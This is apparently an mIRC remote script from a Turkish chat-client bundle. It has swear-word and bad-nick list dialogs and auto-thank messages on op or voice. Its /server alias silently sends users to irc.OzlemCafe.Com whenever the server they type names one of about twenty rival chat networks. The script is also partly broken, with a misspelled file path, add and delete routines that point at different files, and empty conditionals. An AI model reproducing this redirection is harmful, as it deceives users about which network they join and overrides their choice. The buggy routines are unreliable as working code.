;remote5
alias server {
  if (askzurna isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (OzelChat isin $1-)  { /server irc.ozelchat.Com | goto ending }
  if (mirctr isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (guzelsohbet isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (x-zurna isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (xzurna isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (chatbulvari isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (zurnafinal isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (sohbetdeyiz isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (kalpgulu isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (sevdalichat isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (mircturk isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (chatdisney isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (aynasohbet isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (bolsohbet isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (gonullimani isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (heavents isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (ekoluz isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (idealask isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (bizbize isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  if (nazarchat isin $1-)  { /server irc.OzlemCafe.Com | goto ending }
  /server $1-
  :ending
}

on 1:start:start

dialog swear {
  title "Kufur Ekleme"
  size 250 200 300 165
  button "Tamam" 5, 20 122 130 30 , ok 
  text "Eklenmis Olan Kufur'ler" 921, 170 5 110 15
  list 2, 170 28 119 140
  text "Eklenecek Kufur:" 9, 40 10 90 15
  edit "" 3, 16 30 140 20
  button "Ekle" 6,60 55 60 20, 
  button "Sil" 7,60 85 60 20, 
  box "", 1013,11 0 150 115, tab 100
}
on 1:DIALOG:swear:*:*: {
  if ($devent == init) {
    did -c swear 2 1 
    if (%Var.SWkb == kick) { did -c swear 12 }
    if (%Var.SWkb == off) { did -c swear 14 }
    swearview 
  }
  if ($devent == sclick) {
    if ($did == 5) {  }
    if ($did == 6) { swearadd $did(2) $did(3)  }
    if ($did == 7) {
      if ($did(2,$did(2).sel)) { sweardel $did(2,$did(2).sel) }
    }
    if ($did == 12) && ($did(12).state == 1) 
    if ($did == 13) && ($did(13).state == 1) 
    if ($did == 14) && ($did(14).state == 1)
  }
}

alias sweardel {
  if ($1 != $null) { set %del $1 }
  write -ds $+ %del $mircdirOzlemSohbet\swear.mrc | unset %del 
  swearview $$1 
}
alias swearadd {
  if ($1 == $null) { goto end }
  if ($1 != $null) { set %add $1 }
  write -ds $+ %add $mircdirOzlemSohbet\Jiyan\swear.mrc | write $mircdirOzlemSohbet\Jiyan\swear.mrc %add |  unset %add 
  swearview $$1 
  :end
  unset %add 
}
alias swearview  { 
  set %sw.file $mircdirOzlemSohbet\Jiyan\swear.mrc
  did -r swear 2
  if ($lof(%sw.file) == 0) { halt }
  set %e $lines(%sw.file) | set %num 1
  :start
  did -a swear 2 $read -l $+ %e %sw.file
  dec %e 1 | inc %num | if (%e < 1) { unset %e | unset %num | halt }
  else { goto start }
}
alias swear  { 
  set %sw.file $mircdiOzlemSohbet\Jiyan\swear.mrc
  set %e 0 | set %lines $lines(%sw.file)
  if (%lines == 0) { goto end }
  :start | inc %e
  if (%e > %lines) { goto end }
  if (%e < %lines) { goto start }
  :end 
  unset %lines %sw.file %e  %add
}
dialog bad-nick {
  title "Bad Nick Ekleme"
  size 250 200 300 165
  button "Tamam" 5, 20 122 130 30 , ok 
  text "su An Ki Bad Nickler" 921, 170 5 110 15
  list 2, 170 28 119 140
  text "Eklenecek Nick:" 9, 40 10 90 15
  edit "" 3, 16 30 140 20
  button "Ekle" 6,60 55 60 20, 
  button "Sil" 7,60 85 60 20, 
  box "", 1013,11 0 150 115, tab 100
}
on 1:DIALOG:bad-nick:*:*: {
  if ($devent == init) {
    did -c bad-nick 2 1 
    if (%Var.SWkb == kick) { did -c bad-nick 12 }
    if (%Var.SWkb == off) { did -c bad-nick 14 }
    bad-nickview 
  }
  if ($devent == sclick) {
    if ($did == 5) {  }
    if ($did == 6) { bad-nickadd $did(2) $did(3) }
    if ($did == 7) {
      if ($did(2,$did(2).sel)) { bad-nickdel $did(2,$did(2).sel) }
    }
    if ($did == 12) && ($did(12).state == 1) 
    if ($did == 13) && ($did(13).state == 1)
    if ($did == 14) && ($did(14).state == 1) 
  }
}
alias bad-nickdel {
  if ($1 != $null) { set %del $1 }
  write -ds $+ %del $mircdirOzlemSohbet\Jiyan\badnick.mrc || unset %del 
  bad-nickview $$1 
}
alias bad-nickadd {
  if ($1 == $null) { goto end }
  if ($1 != $null) { set %add $1 }
  write -ds $+ %add $mircdirOzlemSohbet\Jiyan\badnick.mrc  | write $mircdirOzlemSohbet\Jiyan\badnick.mrc  %add |  unset %add 
  bad-nickview $$1 
  :end
  unset %add 
}
alias bad-nickview  { 
  set %sw.file $mircdirOzlemSohbet\Jiyan\badnick.mrc
  did -r bad-nick 2
  if ($lof(%sw.file) == 0) { halt }
  set %e $lines(%sw.file) | set %num 1
  :start
  did -a bad-nick 2 $read -l $+ %e %sw.file
  dec %e 1 | inc %num | if (%e < 1) { unset %e | unset %num | halt }
  else { goto start }
}
alias bad-nick  { 
  set %sw.file $mircdirOzlemSohbet\Jiyan\badnick.mrc
  set %e 0 | set %lines $lines(%sw.file)
  if (%lines == 0) { goto end }
  :start | inc %e
  if (%e > %lines) { goto end }
  if (%e < %lines) { goto start }
  :end 
  unset %lines %sw.file %e  %add
}
alias uhu {
  .timerss1 off
  .timerss off
  dialog -c netland netland 
}
ON 1:OP:#: {  if (%opthnks == ON) && ($opnick == $me)  {
  .timer 1 3 thanksfornothing op $chan $nick  }
}
ON 1:VOICE:#: {  if (%voicethnks == ON) && ($vnick == $me)  { 
  .timer 1 3 thanksfornothing voice $chan $nick  }
}
alias thanksfornothing { 
  if ($1 == op) {
    if (c isin $gettok($chan($2).mode,1,32)) { msg $2 %opmsg $3 $strip(%isim) | halt }
  msg $2 %opmsg $3 %isim  }  
  if ($1 == voice) {
    if (c isin $gettok($chan($2).mode,1,32)) { msg $2 %voicemsg $3 $strip(%isim) | halt }
    msg $2 %voicemsg $3 %isim
  }
}
